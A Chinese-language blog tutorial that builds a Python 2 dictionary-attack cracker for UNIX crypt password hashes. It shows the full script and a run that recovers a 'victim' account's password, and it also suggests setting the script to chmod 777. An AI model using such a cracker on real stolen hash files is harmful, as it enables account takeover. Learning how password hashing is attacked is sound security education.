Python 黑客 --- 001 UNIX口令破解机
2016-08-29 23:15
260 查看
Python 黑客 实战:UNIX口令破解机
使用的系统:Ubuntu 14.04 LTSPython语言版本:Python 2.7.10 V
crypt库是Python内置的库。在UNIX系统使用,使用
crypt()函数对密码进行加密。UNIX Crypt 函数计算的加密口令为:
crypt('egg', 'HX') = HX9LLTdc/jiDE。
$ python Python 2.7.6 (default, Jun 22 2015, 18:00:18) [GCC 4.8.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> help('crypt')
输出:
Help on module crypt: NAME crypt FILE /usr/lib/python2.7/lib-dynload/crypt.i386-linux-gnu.so MODULE DOCS http://docs.python.org/library/crypt FUNCTIONS crypt(...) crypt(word, salt) -> string word will usually be a user's password. salt is a 2-character string which will be used to select one of 4096 variations of DES. The characters in salt must be either ".", "/", or an alphanumeric character. Returns the hashed password as a string, which will be composed of characters from the same alphabet as the salt. (END)
按q退出。
我们来试试这个
crypt()函数:
>>> import crypt >>> crypt.crypt("egg", "HX") 'HX9LLTdc/jiDE' >>>
程序设计思路
黑客穷举了字典中所有单词,并用Unix crypt() 函数对它们加密,然后将结果偷来的加密密码进行对比。这就是:字典攻击法 ,来破解加密的口令。
程序编写
你可以在这里下载源代码: 1-4-2-passwdCrack.py源代码讲解:
#! /usr/bin/python # -*- coding: utf-8 -*- import crypt def testPass(cryptPass): # 加密的口令hash salt = cryptPass[0:2] # 提取加密的口令hash前两个字符视为salt dictFile = open('dictionary.txt', 'r') # 读取字典里的所有单词 for word in dictFile.readlines(): # 遍历字典中的每一个单词 word = word.strip('\n') # 提取单个单词 cryptWord = crypt.crypt(word, salt) # 用每个单词和salt计算一个新的加密口令hash if cryptWord == cryptPass: # 如果结果与加密口令hash匹配 print '[+] Found Password: ' + word + '\n' # 显示找到密码 return # 找到密码,返回 print '[-] Password Not Found.\n' # 搜遍字典无果 return # 没有找到密码,返回 def main(): passFile = open('passwords.txt') # 打开加密口令文件"passwords.txt" for line in passFile.readlines(): # 逐行读取口令文件中的内容 if ':' in line: user = line.split(':')[0] cryptPass = line.split(':')[1].strip(' ') # 每一行的用户名和口令hash都是分隔开的 print '[*] Cracking Password For: ' + user testPass(cryptPass) # 调用testPass()函数,尝试用字典中的单词破解口令hash if __name__ == '__main__': main()
代码中读取的 ‘passwords.txt’ 和 ‘dictionary.txt’ 文件在这里可以下载。
添加可执行权限:
sudo chmod 777 1-4-2-passwdCrack.py
运行脚本:
$ ./1-4-2-passwdCrack.py [*] Cracking Password For: victim [+] Found Password: egg [*] Cracking Password For: root [-] Password Not Found.
从输出结果可以看出:我成功破解了victim用户的密码。root的密码我们没有成功。那么这表明:root 一定是使用了我们字典( ‘dictionary.txt’ 文件)之外的单词作为密码。没事,我们现在学习了这一种破解方法(字典攻击法),后面我们会学习更多的破解方法。
相关文章推荐
- Python 黑客 --- 001 UNIX口令破解机
- 《灰帽Python-黑客和逆向工程师的Python编程》学习记录
- 如何成为一名:黑客/Programmer/Python高手
- Python 黑客 004 用Python构建一个SSH僵尸网络 01 简介
- 为什么选择python编程语言入门黑客攻防 给你几个理由!
- Py:Python实现好莱坞《黑客》影视中珠帘似吊炸天的华丽动态加密页面——Jason niu
- 灰帽子黑客中的idapython
- Python 黑客 004 用Python构建一个SSH僵尸网络 01 简介
- Python 黑客相关电子资源和书籍推荐
- 黑客走开系列1:Python使用元组做函数实参让代码更安全!
- Debian和Python维基网站遭黑客入侵
- Python写黑客小工具,360免杀
- Python 黑客 --- 002 入门级 ZIP压缩文件口令暴力破解机
- Python黑帽子--黑客与渗透测试编程之道
- Python生成黑客字典程序(一)
- OSINT + Python = 自定义黑客
- Python黑客学习笔记:从HelloWorld到编写PoC(上)
- Python-黑客-004 用Python构建一个SSH僵尸网络-02 手动与SSH交互
- Python黑客调用Android后说了声:"抱歉,爱奇艺Vip破解版"(附件)
- python实现黑客字幕雨效果